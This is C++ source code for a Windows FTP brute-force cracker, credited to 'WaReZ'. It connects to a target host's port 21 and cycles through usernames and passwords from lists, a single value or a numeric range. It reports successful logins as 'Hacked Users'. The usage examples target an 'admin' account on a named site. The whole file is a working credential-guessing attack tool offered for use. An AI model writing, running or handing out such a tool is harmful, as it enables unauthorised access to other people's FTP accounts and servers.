/*****
Ftp Cracker
Written By WaReZ
-----------------

Options:
        Single Username - Password list , Range passwords.
        Usernames list - Passwords List , Single password , Range Passwords.

Compile:
        g++ ftp.cpp -o ftp
*****/

#include <iostream>
#include <winsock.h>
#include <fstream>
using namespace std;

int ftp_check(string user,string pass,char *site) {

sockaddr_in address;

size_t userSize = user.length()+1;
size_t passSize = pass.length()+1;
char username[userSize],password[passSize];
ZeroMemory(&username[0],userSize);
ZeroMemory(&password[0],passSize);

strncpy(username,user.c_str(),userSize);
strncpy(password,pass.c_str(),passSize);

char recv2[256];
ZeroMemory(&recv2,256);

hostent *host;
host = gethostbyname(site);

int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

address.sin_family = AF_INET;
address.sin_addr.s_addr = ((in_addr *)host->h_addr)->s_addr;
address.sin_port = htons(21);


int c,s,r;
c = connect(sock,(struct sockaddr*)&address,sizeof(address));
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,username,strlen(username),0);
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,password,sizeof(password),0);
r = recv(sock,recv2,sizeof(recv2),0);


  if(strstr(recv2,"230"))
  {
     return 230;
  }

  if(strstr(recv2,"530"))
  {
     return 530;
  }

  else
  {
     return WSAGetLastError();
  }


}

int main(int argc,char *argv[])
{

cout << "\n#####################################\n"
         "# Ftp Brute Force                   #\n"
         "# Written By WaReZ                  #\n"
         "#####################################\n\n";

WSADATA wsaData;

if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
  cout << "WSAGetLastError(): " << WSAGetLastError();
  exit(1);
}


if(argc < 2)
{
  cout << "Usage: " << argv[0] << "\n\n";
  cout << "-user         singal username\n";
  cout << "-ul           usernames list\n";
  cout << "-start        start range\n";
  cout << "-end          end range\n";
  cout << "-pl           passwords list\n";
  cout << "-sp           singal password for users list\n";
  cout << "-site         site that be checked\n\n";

  cout << "Example: " << argv[0] << " -site site.com -user admin -start 0 -end 10000\n";
  cout << "         " << argv[0] << " -site site.com -ul users.txt -sp 123456\n";
}


else
{
  cout <<  "[~] Starting ...\n\n";
  char buffer[256],rcv[256],error[256];


  int check = 0;
  int tstart = 0 ,tend = 0;
  int u = 0,start = 0 ,ul = 0,pl = 0,end = 0,spass = 0,check_site = 0,hacked = 0;
  string user,pass,site2,realuser,sinpass,realpass,fileusers,length;
  char passwords[256],site[256] = "",users[256];
  ifstream passlist,userlist;

 for(int i = 1 ; i <= argc-1;i++)
 {

    if(argv[i+1] != NULL)
    {

     if(strstr(argv[i],"-user"))
     {
        realuser = argv[i+1];
        user = "USER ";
        user += argv[i+1];
        user += "\r\n";
        u = 1;

     }

     if(strstr(argv[i],"-start"))
     {

        tstart = atoi(argv[i+1]);
        start = 1;

     }

     if(strstr(argv[i],"-end"))
     {

        tend = atoi(argv[i+1]);
        end = 1;
     }

     if(strstr(argv[i],"-pl"))
     {

        passlist.open(argv[i+1]);
        pl = 1;

     }

     if(strstr(argv[i],"-site"))
     {

       site2 = argv[i+1];
       strncpy(site,site2.c_str(),256);
       check_site = 1;

     }

     if(strstr(argv[i],"-ul"))
     {
        userlist.open(argv[i+1]);
        ul = 1;
     }

     if(strstr(argv[i],"-sp"))
     {
        sinpass = argv[i+1];
        realpass = argv[i+1];
        spass = 1;
     }

  }
}


if(u == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
{
   for(int p = tstart ; p <= tend; p++)
   {
         pass = "PASS ";
         pass+=itoa(p,buffer,10);
         pass+= "\r\n";

         int b = ftp_check(user,pass,site);

         if(b == 230)
         {
             cout << realuser << "::" << p << " - Succeed" << endl;
             break;
         }

         else if(b == 530)
         {
             cout << realuser << "::" << p << " - Fail" << endl;
         }

         else
         {
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             break;
         }

   }
}

else if(pl == 1 && u == 1 && check_site == 1)
{
   while(!passlist.eof())
   {
      passlist.getline(passwords,50);
      pass = "PASS ";
      pass+= passwords;
      pass+= "\r\n";

      int b = ftp_check(user,pass,site);

      if(b == 230)
      {
          cout << realuser << "::" << passwords << " - Succeed" << endl;
          break;
      }

      else if(b == 530)
      {
          cout << realuser << "::" << passwords << " - Fail" << endl;
      }

      else
      {
          cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
          break;
      }

   }
}

else if(ul == 1 && pl == 1 && check_site == 1)
{
   while(!userlist.eof())
   {
      userlist.getline(users,50);
      user = "USER ";
      user+= users;
      user+= "\r\n";

      while(!passlist.eof())
      {

         passlist.getline(passwords,50);
         pass = "PASS ";
         pass+= passwords;
         pass+= "\r\n";

         int b = ftp_check(user,pass,site);


         if(b == 230)
         {
             cout << users << "::" << passwords << " - Succeed" << endl;
             break;
         }

         else if(b == 530)
         {
             cout << users << "::" << passwords << " - Fail" << endl;
         }

         else
         {
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             break;
         }

     }

     passlist.seekg(0);
  }
}

else if(spass == 1 && ul == 1 && check_site == 1)
{
   while(!userlist.eof())
   {
      userlist.getline(users,50);
      user = "USER ";
      user+= users;
      user+= "\r\n";

      pass = "PASS ";
      pass+= sinpass;
      pass+= "\r\n";

      int b = ftp_check(user,pass,site);

      if(b == 230)
      {
          cout << users << "::" << realpass << " - Succeed" << endl;
          fileusers+= users;
          fileusers+= "::";
          fileusers+= realpass;
          fileusers+= "\n";
          hacked+= 1;
      }

      else if(b == 530)
      {
          cout << users << "::" << realpass << " - Fail" << endl;
      }

      else
      {
          cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
          break;
      }

   }

      if(hacked > 0)
      {
         cout << "\n\nHacked Users:\n\n";
         cout << fileusers;
         cout << "\n" << hacked << " Users was Hacked\n";
      }

      else
      {
         cout << "\n\n0 Users was hacked\n\n";
      }

}

else
{
    if(tstart > tend)
    {
      cout << "Error: Start range bigger then end range.\n";
    }

    else if(strlen(site) < 1 && check_site == 1)
    {
       cout << "Error: You forget to write the site.\n";
    }

    else
    {
      cout << "Error: check the arguments , maybe you forget to write something or you have\nmistake in some argument\n";
    }
}

}
}